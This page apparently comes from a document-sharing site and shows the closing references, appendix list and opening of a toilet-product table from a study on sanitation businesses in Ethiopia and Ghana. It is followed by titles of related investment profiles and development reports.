220 196 Otterpohl R., Braun U. and Oldenburg M. (2004). Innovative technologies for decentralised water-, wastewater and biowaste management in urban and peri-urban areas. In: Water Science and Technology. vol 48(11), Otterpohl R., Grottker M. and Lange J. (1997). Sustainable water and waste management in urban areas. In: Water Science and Technology. vol 35(9), Panesar A., Bracken P., Kvanstroem E., Lehn H., Luethi C., Norstrom A., Rued S., Saywell D. and Schertenleib R. (2008). Sustainable sanitation for cities: SuSanA thematic paper. Sustainable Sanitation Alliance (SuSanA). (accessed 28 July 2011). Panesar A.R. and Werner C. (2006). Overview of the global development of ecosan. In: Ecosan-symposium: New sanitation concepts - international project experiences and dissemination strategies. Eschborn, Germany, 2006 Paterson C., Mara D. and Curtis T. (2007). Pro-poor sanitation technologies. In: Geoforum. vol 38(5), Patyk A. and Reinhardt G.A. (1997). Düngemittel - Energie- und Stoffstrombilanzen. Vieweg, Braunschweig, ISBN X. Pickford J. (2001). Low-cost sanitation: A survey of practical experience. Reprint. ITDG Publ., London, UK, ISBN Pinson L. (2008). Anatomy of a business plan: The step-by-step guide to building your business and securing your company's future. 7th ed. Out of Your Mind and into the Marketplace, Tustin CA, ISBN Plan Nederland, WASTE, SNS REAAL Water Fund (2007). Sanitation in peri-urban areas in Africa. Poku K. (2002). Small-scale palm oil processing in Africa. Food and Agriculture Organization of the United Nations, Rome, ISBN Population Census Commission (2008). Summary and statistical report of the 2007 population and housing census: Population Size by Age and Sex. Federal Democratic Republic of Ethiopia, Population Census Commission, Addis Ababa, Ethiopia. (accessed 28 July 2011). Pötsch G. and Michaeli W. (2008). Injection molding: An introduction. 2nd ed. Hanser, Munich, ISBN PSPC (2003). The role of urban agriculture in urban development: The case of Addis Ababa. Addis Ababa City Government Policy Study and Plan Commission (PSPC). Public Citizen/ Water for All (2002). Report of the international fact-finding mission on water sector reform in Ghana. (accessed 27 October 2011). Raschid-Sally L. and Jayakody P. (2008). Drivers and characteristics of wastewater agriculture in developing countries: Results from a global assessment. IWMI Research Report 127. International Water Management Institute, Colombo, Sri Lanka. Rauch W., Brockmann D., Peters I., Larsen T.A. and Gujer W. (2002). Combining urine separation with waste design: an analysis using stochastic model for urine production. In: Water Research. vol 37(3), Rogers M. (2001). Engineering project appraisal: The evaluation of alternative development schemes. Blackwell Science, Oxford, ISBN
221 197 Romano S.D. and Sorichetti P.A. (2011). Dielectric spectroscopy in biodiesel production and characterization. Springer-Verlag London Limited, London, ISBN Romijn H. and Balkema A. (2009). Cost-benefit analysis of projects. Part I: Financial Cost-Benefit Analysis, School of Innovation Sciences, Eindhoven, The Netherlands. Rosemarin A. (2010a). Peak phosphorous and the euthrophication of surface waters: A symptom of disconnected agricultural and sanitation policies. In: On the Water Front: Selections from the 2010 World Water Week in Stockholm. J. Lundqvist (Ed.). Stockholm International Water Institute (SIWI). Stockholm, pp marin.pdf (accessed 09 September 2011). Rosemarin A. (2010b). Peak phosphorus, the next inconvenient truth? 2nd International Lecture Series on Sustainable Sanitation, World Bank, Manila, October 15, en-rosemarin-peak-phosphorus-manila-2010.pdf (accessed 09 September 2011). Roto PLC (2012). Company homepage. (accessed 07 February 2012). Rowe N. (2007). Factors affecting the cost of prefabricated water storage tanks for use with domestic roofwater harvesting systems in low-income countries. Informally published manuscript. M.Sc. thesis, Natural Resources Department, Cranfield University, Cranfield, United Kingdom. Roy R.N. (2006). Plant nutrition for food security: A guide for integrated nutrient management. Food and Agriculture Organization of the United Nations, Rome, ISBN (accessed 10 November 2011). Ryan P.A. (1994). The use of tree legumes for fuelwood production. In: Forage tree legumes in tropical agriculture. R.C. Gutteridge and H.M. Shelton (Eds.). CAB International. Wallingford, UK, pp Safi Sana Ghana Ltd. (2011). Company homepage. (accessed 09 March 2012). Sanitation and Water for All (2011a). Ethiopia: Sanitation and drinking water country profile. Draft. (accessed 05 December 2011). Sanitation and Water for All (2011b). Ghana: Sanitation and drinking water country profile. Draft. (accessed 05 December 2011). Saywell D. and Cotton A. (1998). User perceptions in urban sanitation. In: Sanitation and water for all: Proceedings of the 24th WEDC Conference. Islamabad, Pakistan, J. Pickford (Ed.). Water Engineering and Development Centre. Loughborough, UK, pp Schaub-Jones D. (2010). Sanitation - just another business? The crucial role of sanitation entrepreneurship and the need for outside engagement. Building Partnerships for Development. Schönning C. and Stenström T. A. (2004). Guidelines for the safe use of urine and faeces in ecological sanitation systems. EcoSanRes Publication Series. Report , Stockholm Environment Institute: Stockholm, Sweden.
222 198 _for_the_safe_use_of_urine_and_faeces.pdf (accessed 15 September 2011). Schröder E. (2010). Marketing human excreta - A study of possible ways to dispose of urine and faeces from slum settlements in Kampala, Uganda. (accessed 02 February 2011). Schubert S. (2008). Community based organizations as gateway for the integration of resource oriented sanitation in urban areas: A case study of Arba Minch, Ethiopia. Internship report, Hamburg University of Technology, Hamburg, Germany. Schwab Foundation for Social Entrepreneurship (n.d.). David Kuria. Ecotact. (accessed 21 July 2011). Sengogo G. (2009). A case study on the status of Ethiopian Water Supply, Sanitation and Hygiene (WASH) Program. Ministry of Water Resources. Presentation from the 2009 World Water Week in Stockholm, Stockholm, Sweden. Shim J.K. and Siegel J.G. (2007). Handbook of financial analysis, forecasting, and modeling. 3rd ed. Wolters Kluwer/CCH, Chicago IL, ISBN Shim J.K. and Siegel J.G. (2008). Financial Management. 3rd ed. Barron's Educational Series, New York, ISBN Shordt K. (2004). Sustainability of hygiene promotion and education: a six country research study. In: People-centred approaches to water and environmental sanitation: Proceedings of the 30th WEDC Conference. Vientiane, Lao PDR, S. Godfrey (Ed.). WEDC: Loughborough University; Published for distribution within Lao PDR by State Printing Enterprise. Vientiane Lao PDR, pp Sijbesma C., Diaz C., Fonseca C. and Pezon C. (2008). Financing sanitation in poor urban areas. In: Sanitation for the Urban Poor: Partnerships and Governance. Delft, The Netherlands, November J. Verhagen; C. da Silva Wells; I. Krukkert; P. McIntyre and P. Ryan (Eds.). IRC International Water and Sanitation Centre. The Hague, The Netherlands, pp Sim J., Groeber K. and Greenlee T. (2010). Making a business of sanitation: Establishing a world trade hub for the poor. In: Sustainable Sanitation Practice. vol 10/2010(5), Simpson-Hébert M. (2007). Low-cost Arborloo offers Ethiopians health and agriculture benefits. In: Waterlines. vol 26(2), Simpson-Hébert M. and Abaire B. (2009). 40,000 eco-toilets in Ethiopia in 4 years: What makes it work? In: Water, sanitation and hygiene. Sustainable development and multisectoral approaches: Proceedings of the 34th WEDC International Conference. Addis Ababa, Ethiopia, May R. Shaw (Ed.). Water Engineering and Development Centre. Loughborough, UK, pp Simpson-Hébert M. and Wood S. (1998). Sanitation promotion, Geneva, Switzerland. (accessed 08 March 2012). Smith-Asante E. (2010). Government approves National Environment and Sanitation Policy. (accessed 24 October 2011). Stedman L. (2008). Support for Africa's sanitation crisis. In: Water 21. vol August 2008,
223 Stoorvogel J.J. and Smaling E.M.A. (1990). Assessment of soil nutrient depletion in sub-saharan Africa: Report 28. Winand Staring Centre, Wageningen, The Netherlands. Suominen A., Mekonnen E. and Pankhurst H. (2008). Ethiopia water supply, sanitation and hygiene sector (WaSH) EUWI Ethiopia Country Dialogue: Evaluation of implementation of the Multi-Stakeholder Forum undertakings. hiopia_first_msf_.pdf (accessed 20 October 2011). SuSanA (2008). Towards more sustainable solutions - SuSanA Vision Document. Sustainable Sanitation Alliance (SuSanA). (accessed 07 October 2011). SuSanA (2009). Compilation of 24 SuSanA case studies. Pre-Print for the 10th SuSanA meeting. Sustainable Sanitation Alliance (SuSanA). (accessed 22 September 2011). Terrefe A. and Edstrom G. (1999). ECOSAN- ecological sanitation. In: Integrated development for water supply and sanitation: Proceedings of the 25th WEDC Conference. Addis Ababa, Ethiopia, J. Pickford (Ed.). Water Engineering and Development Centre. Loughborough, UK, pp Terrefe A. and Edstrom G. (2005). ECOSAN Economy, ecology and sanitation. (accessed 14 April 2010). Terrefe A. and Edstrom G. (2007). Ecological sanitation history, Sweden-Ethiopia. 25&Itemid=45 (accessed 04 October 2010). Tettey-Lowor F. (2008). Closing the loop between sanitation and agriculture in Accra, Ghana. M.Sc. thesis, Wageningen University, Wageningen, The Netherlands. Tettey-Lowor F., Urlings L. and Acheampong N. (2009). Safi Sana; water and sanitation provisions in urban slums - closing the loop. In: West Africa Regional Sanitation and Hygiene Symposium. Accra, Ghana, 3-5 November 2009 Tewodros F. (2007). Livelihood dependence on urban agriculture in Addis Ababa, Ethiopia. M.Sc. thesis, Department of International Environment and Development Studies, Norwegian University of Life Sciences, Ås, Norway. a_duressa.pdf (accessed 23 November 2011). Thrift C. (2007). Sanitation policy in Ghana: Key factors and the potential for ecological sanitation solutions. (accessed 08 March 2012). Transparency International (2012). Corruption Perceptions Index 2010 results. (accessed 23 February 2012). Tripathi B.R. and Psychas P.J. (Eds.) (1992). The AFNETA alley farming training manual. International Livestock Centre for Africa, Addis Ababa, Ethiopia. Tsiagbey M., Danso G., Leslie A. and Sarpong E. (2005). Perceptions and acceptability of urine-diverting toilets in a low-income urban community in Ghana. In: Ecological sanitation: A sustainable, integrated solution: Proceedings of the 3rd International Conference on Ecological Sanitation. Durban, South Africa, May
224 200 UAESCP (2010). The role, potential and challenges of composting in urban agriculture. Urban Agricultural Extension Service Core Process (UAESCP), Addis Ababa, Ethiopia. UN (2010a). General Assembly declares access to clean water and sanitation is a human right. United Nations (UN) News Center. (accessed 18 January 2012). UN (2010b). World Urbanization Prospects: The 2009 Revision (Highlights). Department of Economic and Social Affairs of the United Nations (UN) Secretariat, New York, USA. (accessed 28 July 2011). UN (2011a). Millennium Development Goals indicators. United Nations (UN). (accessed 30 November 2011). UN (2011b). The Millennium Development Goals Report United Nations (UN), New York, USA. _2011_EN.pdf (accessed 09 September 2011). UNDESA (2011). World Population Prospects 2010 Revision. United Nations, Department of Economic and Social Affairs (UNDESA). (accessed 09 September 2011). UNDP (2006a). Beyond scarcity: Power, poverty and the global water crisis. United Nations Development Programme (UNDP), New York, NY, ISBN (accessed 08 March 2012). UNDP (2006b). Human Development Report 2006: Beyond scarcity: Power, poverty and the global water crisis. United Nations Development Programme (UNDP), New York, USA. (accessed 23 September 2009). UNDP (2008). Creating Value for All: Strategies for Doing Business with the Poor. United Nations Development Programme (UNDP), New York, USA. (accessed 02 July 2009). UNDP (2011a). International Human Development Indicators: Human Development Index (HDI) Rankings. United Nations Development Program (UNDP). (accessed 06 December 2011). UNDP (2011b). Sustainability and equity: A better future for all. United Nations Development Program (UNDP). Palgrave Macmillan, Houndmills, NY, USA, ISBN (accessed 06 December 2011). UNEP (2009). Towards sustainable production and use of resources: Assessing biofuels. United Nations Environment Programme (UNEP), Nairobi, Kenya, ISBN (accessed 28 November 2011). UNEP/GRID-Arendal Maps and Graphics Library (2002). Degraded soils. (accessed 19 July 2011).
225 UN-HABITAT (2010). The State of African Cities 2010: Governance, Inequality and Urban Land Markets. UN-HABITAT, Nairobi, Kenya. (accessed 08 March 2011). UNICEF, WHO, World Bank and UNPD (2010). Levels and Trends in Child Mortality, Report Estimates Developed by the UN Inter-agency Group for Child Mortality Estimation. United Nations Children s Fund (UNICEF), World Health Organization (WHO), the World Bank, United Nations Population Division (UNPD), New York, USA. (accessed 09 March 2011). UN-Water (2009). Sanitation is an investment with high economic returns. Factsheet No. 2. World Health Organization, Geneva, Switzerland. 9_en_0.pdf (accessed 07 October 2011). USAID (2011). Results from working at scale for better sanitation and hygiene in Amhara, Ethiopia: Baseline and endline comparisons of institutional, household, and school surveys. United States Agency for International Development (USAID) Hygiene Improvement Project, Washington, DC. USAID HIP (2010). Sanitation marketing for managers: Guidance and tools for program development. USAID Hygiene Improvement Project (HIP), Washington, DC. (accessed 13 December 2011). Van-Rooijen D.J., Biggs T.W., Smout I. and Drechsel P. (2010). Urban growth, wastewater production and use in irrigated agriculture: a comparative study of Accra, Addis Ababa and Hyderabad. In: Irrigation Drainage Systems. vol 24(1-2), Vinnerås B., Nordin A., Niwagaba C. and Nyberg K. (2008). Inactivation of bacteria and viruses in human urine depending on temperature and dilution rate. In: Water Research. vol 42(15), von Münch E. and Winker M. (2011). Technology review of urine diversion components. Appendix 3: Worldwide listing of suppliers for urine diversion pedestals/seats (for UDDTs or for UD flush toilets). Deutsche Gesellschaft für Technische Zusammenarbeit (GIZ). en-appendix-3-ud-pedestals-suppliers-list.pdf (accessed 07 February 2012). Warner W., Heeb J., Jenssen P., Gnanakan K. and Kondrandin K. (2006). Management: Planning, implementation and operation. Socio-cultural aspects. (accessed 21 April 2010). Warren C.S., Reeve J.M. and Duchac J.E. (2009). Financial & managerial accounting. 11th ed. South-Western Cengage Learning, Mason Ohio, ISBN WASTE (2005). Fact sheet on sanitation: Introduction to the main characteristics of human excreta and grey water. WASTE, Gouda, The Netherlands. (accessed 18 November 2011). WaterAid (2011). Off-track, off-target: Why investment in water, sanitation and hygiene is not reaching those who need it most. (accessed 10 March 2012). WaterAid Ghana (n.d.). Ghana/Our Partners/ProNet. (accessed 27 May 2010). 201
226 202 Webb D.B. (1984). A guide to species selection for tropical and sub-tropical plantations. 2nd ed., revised. Unit of Tropical Silviculture Commonwealth Forestry Institute University of Oxford, Oxford, UK, ISBN (accessed 12 February 2011). Webster W. (2003). Accounting for managers. McGraw-Hill, New York, ISBN Wegelin-Schuringa M. (2000). Public awareness and mobilisation for ecosanitation. In: International Symposium on Ecological Sanitation. Ecosan- Closing the Loop in Wastewater Management and Sanitation. IRC International Water and Sanitation Centre, Bonn, Germany, October (accessed 04 May 2010). Weldesilassie A.B. (2008). Economic analysis and policy implications of wastewater use in agriculture in the Central Region of Ethiopia. PhD thesis, Faculty of Agricultural Sciences, University of Hohenheim, Stuttgart, Germany. sisz_liberary1.pdf (accessed 21 November 2011). Weldesilassie A.B., Boelee E., Drechsel P. and Dabbert S. (2010). Wastewater use in crop production in peri-urban areas of Addis Ababa: impacts on health in farm households. In: Environment and Development Economics. vol 16(1), WELL (2003). Water, sanitation and service delivery in Ghana. Draft. A paper prepared for the WELL Resource Centre Network for Water, Sanitation and Environmental Health (based on scoping studies carried out in Ghana). WHO (2006). WHO guidelines for the safe use of wastewater, excreta and greywater. Vol IV: Excreta and greywater use in agriculture. World Health Organization (WHO), Geneva, Switzerland, ISBN (accessed 10 March 2012). WHO (2007). Public policy and franchising reproductive health : Current evidence and future directions. Guidance from a technical consultation meeting. World Health Organization (WHO), Geneva, Switzerland, ISBN (accessed 10 March 2012). WHO (2008). The global burden of disease: 2004 update. World Health Organization (WHO), Geneva, Switzerland, ISBN _full.pdf (accessed 10 March 2012). WHO (2009). Global health risks: Mortality and burden of disease attributable to selected major risks. World Health Organization (WHO), Geneva, Switzerland, ISBN t_full.pdf (accessed 10 March 2012). WHO and UNICEF (2000). Global water supply and sanitation assessment 2000 report. World Health Organization (WHO) and United Nations Children's Fund (UNICEF), USA, ISBN (accessed 10 March 2012).
227 203 WHO and UNICEF (2008). Progress on drinking water and sanitation: Special focus on sanitation. World Health Organization (WHO) and United Nations Children s Fund (UNICEF) Joint Monitoring Programme for Water Supply and Sanitation (JMP), USA, ISBN (accessed 10 March 2012). WHO and UNICEF (2010). Progress on sanitation and drinking-water: 2010 Update. World Health Organization (WHO) and United Nations Children s Fund (UNICEF) Joint Monitoring Programme (JMP) for Water Supply and Sanitation, France, ISBN JMP_report_2010_en.pdf (accessed 10 March 2012). Winblad U. and Simpson-Hébert M. (2004). Ecological sanitation: Revised and enlarged edition. Stockholm Environment Institute, Stockholm, Sweden, ISBN (accessed 08 March 2012). Winker M. (2010). Are pharmaceutical residues in urine a constraint for using urine as a fertiliser? EcoSan Club. In: Sustainable Sanitation Practice. vol 3, Woldu Z. (2010). Urbanization: Market opportunities. Ethiopia: Country Position Paper, Addis Ababa, Ethiopia. Ethiopia%20Position%20Paper.pdf (accessed 23 November 2011). Wood B.J. and Corley R.H. (1993). The energy balance of oil palm cultivation. In: Proceedings 1991 PORIM International Oil Palm Conference: Progress, Prospects and Challenges towards the 21st Century. Kuala Lumpur, Malaysia, 9-14 September Y. Basiron; J. Sukaimi; K.C. Chang; S.C. Cheah; I.E. Henson; N. Kamaruddin; K. Paranjothy; N. Rajanaidu and T.H.T.a.A.D. Dolmat (Eds.). Palm Oil Research Institute of Malaysia, pp World Agroforestry Centre (2011). AgroForestryTree database: A tree species reference and selection guide. (accessed 09 February 2011). World Bank (2006). Ethiopia: Country Profile nts/profiles/english/ethiopia-2006 (accessed 19 January 2012). World Bank (2007). Ghana: Country Profile nts/profiles/english/ghana-2007 (accessed 19 January 2012). World Bank (2011a). Data. Indicators. (accessed 10 March 2012). World Bank (2011b). Private participation in infrastructure projects database. (accessed 25 October 2011). World Bank (2012a). Commodity price data. The World Bank, Washington, DC, USA. (accessed 19 January 2012). World Bank (2012b). Doing business data. (accessed 24 February 2012). World Bank (2012c). Doing business in a more transparent world, Washington, DC. s/annual-reports/english/db12-fullreport.pdf (accessed 24 February 2012).
228 204 World Bank (2012). World Bank Enterprise Surveys, (accessed 19 January 2012). World Vision Africa (2010). Ghana: World Vision in Ghana. Itemid=155 (accessed 27 May 2010). WSP (2005). A review of ecosan experience in Eastern and Southern Africa. Water and Sanitation Program (WSP). (accessed 20 October 2011). WSP (2008a). Economic impacts of sanitation in Southeast Asia: A four-country study conducted in Cambodia, Indonesia, the Philippines and Vietnam under the Economics of Sanitation Initiative (ESI). Water and Sanitation Program (WSP), Jakarta. thesis_2.pdf (accessed 09 September 2011). WSP (2008b). The ethekwini Declaration and AfricaSan Action Plan. Water and Sanitation Program (WSP). f (accessed 14 July 2011). WSP (2011a). Water supply and sanitation in Ethiopia: Turning finance into services for 2015 and beyond. Water and Sanitation Program (WSP). (accessed 09 September 2011). WSP (2011b). Water supply and sanitation in Ghana: Turning finance into services for 2015 and beyond. Water and Sanitation Program (WSP). (accessed 12 September 2011). WSP (2011c). WSP news: Ten African countries losing at least 1% of GDP annually due to poor sanitation. (accessed 24 October 2011). WSSCC (2009). Sanitation sector status and gap analysis: Ethiopia. Water Supply and Sanitation Collaborative Council (WSSCC). (accessed 18 July 2011). WTO (2011). Statistics database: Trade profiles. World Trade Organization (WTO). (accessed 25 November 2011).
229 Appendices
230
231 List of Appendices Appendix A: Toilet product selection in Ethiopia A-1 Appendix B: Parameters of the case study Ethiopia B-1 B.1 Parameters required for the calculation of the volume of production B-1 B.2 Calculation of part weight B-4 B.3 Personnel costs B-5 B.4 Advertising costs B-6 B.5 Administrative costs B-6 B.6 Transportation costs B-6 B.7 Profitability analysis using current prices B-8 B.8 Profitability analysis using constant prices B-10 B.9 Parameters for the calculation of depreciation B-12 Appendix C: Biodiesel properties C-1 Appendix D: Tree species for short rotation plantations D-1 Appendix E: Parameters of the case studies Accra 1, Accra 2 and Kade E-1 E.1 Potential urine volume collected in Accra, Ghana E-1 E.2 Transportation costs E-1 E.3 Profitability analysis using constant prices E-4 E.4 Parameters for the calculation of potential energy savings E-5 REFERENCES (APPENDICES) E-6
232
233 A-1 Appendix A: Toilet product selection in Ethiopia Appendix A summarizes a selection of toilets available in Ethiopia as described in Section Products manufactured by AquaSan Manufacturing Ethiopia PLC/Kentainers Ltd., Roto PLC, EthioFibre Glass and Tabor Ceramics are presented. Product selection of AquaSan/Kentainers, Ethiopia Product name Image a Material Producer Price (ETB) b Dimensions (cm) Eco-slab for urine diversion c LLDPE Kentainers/ AquaSan ,020 1,350 80x60 100x x x160 Eco-plate for sitting (pedestal) LLDPE Kentainers/ AquaSan ,420 1,450 1,785 60x60 80x60 100x x x160 Eco-plate for squatting LLDPE Kentainers/ AquaSan x30 Eko-loo (slab & superstructure) LLDPE Kentainers/ AquaSan 3,860 98x100x190 Wonder-loo LLDPE Kentainers/ AquaSan 500 n.a.
241. PROFILE ON NEEM CAKE
241. PROFILE ON NEEM CAKE 241-2 TABLE OF CONTENTS PAGE I. SUMMARY 241-3 II. PRODUCT DESCRIPTION & APPLICATION 241-3 III. MARKET STUDY AND PLANT CAPACITY 241-3 A. MARKET STUDY 241-3 B. PLANT CAPACITY &
Research to improve the use and conservation of agricultural biodiversity for smallholder farmers
Research to improve the use and conservation of agricultural biodiversity for smallholder farmers Agricultural biodiversity the variability of crops and their wild relatives, trees, animals, arthropods,
74. PROFILE ON PRODUCTION OF MILK POWDER
74. PROFILE ON PRODUCTION OF MILK POWDER 74- TABLE OF CONTENTS PAGE I. SUMMARY 74-3 II. PRODUCT DESCRIPTION & APPLICATION 74-3 III. MARKET STUDY AND PLANT CAPACITY 74-4 A. MARKET STUDY 74-4 B. PLANT CAPACITY
124. PROFILE ON CUMIN PROCESSING
124. PROFILE ON CUMIN PROCESSING 124-2 TABLE OF CONTENTS PAGE I. SUMMARY 124-3 II. PRODUCT DESCRIPTION & APPLICATION 124-3 III. MARKET STUDY AND PLANT CAPACITY 124-4 A. MARKET STUDY 124-4 B. PLANT CAPACITY
PROFILE ON DISTANCE EDUCATION AT ALL LEVELS
PROFILE ON DISTANCE EDUCATION AT ALL LEVELS 172-2 TABLE OF CONTENTS PAGE I. SUMMARY 172-3 II. SERVICE DESCRIPTION & APPLICATION 172-3 III. MARKET STUDY AND SERVICE CAPACITY 172-4 A. MARKET STUDY 172-4
110. PROFILE ON PRODUCTION OF GLASS BOTTLES AND TUMBLERS
0. PROFILE ON PRODUCTION OF GLASS BOTTLES AND TUMBLERS 0-2 TABLE OF CONTENTS PAGE I. SUMMARY 0-3 II. PRODUCT DESCRIPTION & APPLICATION 0-3 III. MARKET STUDY AND PLANT CAPACITY 0-4 A. MARKET STUDY 0-4
Liquid Biofuels for Transport
page 1/11 Scientific Facts on Liquid Biofuels for Transport Prospects, risks and opportunities Source document: FAO (2008) Summary & Details: GreenFacts Context - Serious questions are being raised about-
184. PROFILE ON MICRO FINANCE SERVICE
184. PROFILE ON MICRO FINANCE SERVICE 184-2 TABLE OF CONTENTS PAGE I. SUMMARY 184-3 II. SERVICE DESCRIPTION & APPLICATION 184-3 III. MARKET STUDY AND SERVICE CAPACITY 184-4 A. MARKET STUDY 184-4 B. CAPACITY
Solutions in Sanitation. Planning Principles
Solutions in Sanitation Planning Principles CONTENTS Contents Preface 3 1. Introduction 4 2. Sanitation appropriate, ecological, sustainable 5 3. How to achieve sustainable sanitation solutions 7 3.1 Framework
RESOURCE EFFICIENCY OF URBAN SANITATION SYSTEMS: A COMPARATIVE ASSESSMENT USING MATERIAL AND ENERGY FLOW ANALYSIS
RESOURCE EFFICIENCY OF URBAN SANITATION SYSTEMS: A COMPARATIVE ASSESSMENT USING MATERIAL AND ENERGY FLOW ANALYSIS Vom Promotionsausschuss der Technischen Universität Hamburg-Harburg zur Erlangung des akademischen
The Changing Global Egg Industry
Vol. 46 (2), Oct. 2011, Page 3 The Changing Global Egg Industry - The new role of less developed and threshold countries in global egg production and trade 1 - Hans-Wilhelm Windhorst, Vechta, Germany Introduction
PROFILE ON THE PRODUCTION OF STEEL TUBES
PROFILE ON THE PRODUCTION OF STEEL TUBES Table of Contents I. SUMMARY... 2 II. PRODUCT DESCRIPTION AND APPLICATION... 2 III. MARKET STUDY AND PLANT CAPACITY... 3 IV. MATERIALS AND INPUTS... 6 V. TECHNOLOGY
85. PROFILE ON ENVELOPS, LABELS AND BADGES OF PAPER
85. PROFILE ON ENVELOPS, LABELS AND BADGES OF PAPER 85-2 TABLE OF CONTENTS PAGE I. SUMMARY 85-3 II. PRODUCT DESCRIPTION & APPLICATION 85-3 III. MARKET STUDY AND PLANT CAPACITY 85-4 A. MARKET STUDY 85-4
Reference 1 Status of Related Laws and Regulations in Japan
Reference 0 Reference Reference 1 Status of Related Laws and Regulations in Japan Reference 2 Assessing Operational Revenue and Expenditure Reference 3 Reference 4 Examples of Biomass Town in Japan Reference
Cambodia Country Report On Agriculture, Water and Food Security
SPECIAL SEMINAR ON FOOD SECURITY, FOCUSING ON WATER MANAGEMENT AND SUSTAINABLE AGRICULTURE 5 7 September 2013, Niigata, Japan Cambodia Country Report On Agriculture, Water and Food Security Ministry),
PROFILE ON THE PRODUCTION OF HINGES
PROFILE ON THE PRODUCTION OF HINGES TABLE OF CONTENT I. SUMMARY... 2 II. PRODUCT DESCRIPTION AND APPLICATION... 2 III. MARKET STUDY AND PLANT CAPACITY... 3 IV. RAW MATERIAL AND INPUTS... 6 V. TECHNOLOGY
PROJECT PROFILE ON THE ESTABLISHMENT OF ALUMINIUM FRAMES PRODUCING PLANT
Investment Office ANRS PROJECT PROFILE ON THE ESTABLISHMENT OF ALUMINIUM FRAMES PRODUCING PLANT Development Studies Associates (DSA) October 2008 Addis Ababa Table of Contents 1. Executive Summary..
BUSINESS PLAN ON URBAN LEVEL HIGH QUALITY CASSAVA FLOUR PRODUCING ENTERPRISE
BUSINESS PLAN ON URBAN LEVEL HIGH QUALITY CASSAVA FLOUR PRODUCING ENTERPRISE TABLE OF CONTENT EXECUTIVE SUMMARY PAGE.0 INTRODUCTION 2.0 BUSINESS BACKGROUND 3.0 FINANCING PLAN 4.0 MARKET ANALYSIS 5.0 WORK
210. PROFILE ON PRODUCTION OF CANDLE
210. PROFILE ON PRODUCTION OF CANDLE 210-2 TABLE OF CONTENTS PAGE I. SUMMARY 210-3 II. PRODUCT DESCRIPTION & APPLICATION 210-3 III. MARKET STUDY AND PLANT CAPACITY 210-4 A. MARKET STUDY 210-4 B. PLANT
82. PROFILE ON THE PRODUCTION OF RECYCLED PLASTIC WASTE
82. PROFILE ON THE PRODUCTION OF RECYCLED PLASTIC WASTE 82-1 TABLE OF CONTENTS PAGE I. SUMMARY 82-2 II. PRODUCT DESCRIPTION & APPLICATION 82-3 III. MARKET STUDY AND PLANT CAPACITY 82-3 A. MARKET STUDY
PROFILE ON THE PRODUCTION OF ANIMAL FEED
PROFILE ON THE PRODUCTION OF ANIMAL FEED Table of Contents I. SUMMARY... 2 II. PRODUCT DESCRIPTION AND APPLICATION... 3 III. MARKET STUDY AND PLANT CAPACITY... 3 IV. MATERIALS AND INPUTS... 6 V. TECHNOLOGY
Harvesting energy with fertilizers
Harvesting energy with fertilizers Sustainable agriculture in Europe 1 Harvesting energy with fertilizers The reason for agriculture s existence is to supply energy to mankind. Agriculture converts solar
Country Profile: Food Security Indicators
Country Profile: Food Security Indicars I. FOOD DEPRIVATION AND CONSUMPTION INDICATORS Food Deprivation Proportion of undernourishment 27 21 18 16-5.8-2.8-2.0 Number of undernourished millions 6.1 5.0
49. PROFILE ON DAIRY PROCESSING EQUIPMENT
49. PROFILE ON DAIRY PROCESSING EQUIPMENT 49-2 TABLE OF CONTENTS PAGE I. SUMMARY 49-3 II. PRODUCT DESCRIPTION & APPLICATION 49-3 III. MARKET STUDY AND PLANT CAPACITY 49-4 A. MARKET STUDY 49-4 B. PLANT
PROFILE ON SHEEP AND GOAT FARM
PROFILE ON SHEEP AND GOAT FARM 21-2 TABLE OF CONTENTS PAGE I. SUMMARY 21-3 II. PRODUCT DESCRIPTION AND APPLICATION 21-3 III. MARKET STUDY AND PLANT CAPACITY 21-3 A. MARKET STUDY 21-3 B. PLANT CAPACITY
Indicators of Sustainable Development Principles and Practices
Indicators of Sustainable Development Principles and Practices Division for Sustainable Development United Nations Department of Economic and Social Affairs Policy demand for SD indicators (UNCED) Chapter
166. PROFILE ON SMALL RUMINANT MEAT PROCESSING
166. PROFILE ON SMALL RUMINANT MEAT PROCESSING 166-2 TABLE OF CONTENTS PAGE I. SUMMARY 166-3 II. PRODUCT DESCRIPTION & APPLICATION 166-3 III. MARKET STUDY AND PLANT CAPACITY 166-3 A. MARKET STUDY 166-3
7. PROFILE ON FATTENING FARM
7. PROFILE ON FATTENING FARM 7-2 TABLE OF CONTENTS PAGE I. SUMMARY 7-3 II. PRODUCT DESCRIPTION AND APPLICATION 7-3 III. MARKET STUDY AND PLANT CAPACITY 7-3 A. MARKET STUDY 7-3 B. PLANT CAPACITY AND PRODUCTION
Poverty Reduction and Trade:
Poverty Reduction and Trade: Fairtrade as a Vehicle to Combat Poverty 28 May 2011 Produced by: Carlos Canales Strategy and Policy Unit Fairtrade International c.canales@fairtrade
100. PROFILE ON POULTRY FARM
100. PROFILE ON POULTRY FARM 100-2 TABLE OF CONTENTS PAGE I. SUMMARY 100-3 II. FARM DESCRIPTION & APPLICATION 100-4 III. MARKET STUDY AND FARM CAPACITY 100-4 A. MARKET STUDY 100-4 B. FARM CAPACITY & PRODUCTION
GLOBAL ALLIANCE FOR CLIMATE-SMART AGRICULTURE (GACSA)
GLOBAL ALLIANCE FOR CLIMATE-SMART AGRICULTURE (GACSA) FRAMEWORK DOCUMENT Version 01 :: 1 September 2014 I Vision 1. In today s world there is enough food produced for all to be well-fed, but one person).
CLIMATE RISK SENSITIVITY IN THE FOOD VALUE CHAIN: WHEAT
CLIMATE RISK SENSITIVITY IN THE FOOD VALUE CHAIN: WHEAT Peter Johnston Climate System Analysis Group (Univ of Cape Town) Food, NutriAon and Health Security Research AAUN 27/28 August 2015 Canberra Our
Profile: Dr. Sulley Gariba
Profile: Dr. Sulley Gariba Surname: Gariba First name: Sulley Date of Birth: 1958-05-04 EDUCATION Ph.D. in Political Science and International Development, Carleton University, Ottawa, 1989. M.A., Political
175. PROFILE ON HIGH GRADE CONTRACTOR
175. PROFILE ON HIGH GRADE CONTRACTOR 175-2 TABLE OF CONTENTS PAGE I. SUMMARY 175-3 II. SERVICE DESCRIPTION 175-3 III. MARKET STUDY AND FIRM CAPACITY 175-4 A. MARKET STUDY 175-4 B. FIRM CAPACITY & CONSTRUCTION
MICRO IRRIGATION A technology to save water
MICRO IRRIGATION A technology to save water 1. Introduction Efficient utilization of available water resources is crucial for a country like, India, which shares 17% of the global population with only
Chief Operations Officer, CFC, World Bamboo Congress, April 2012
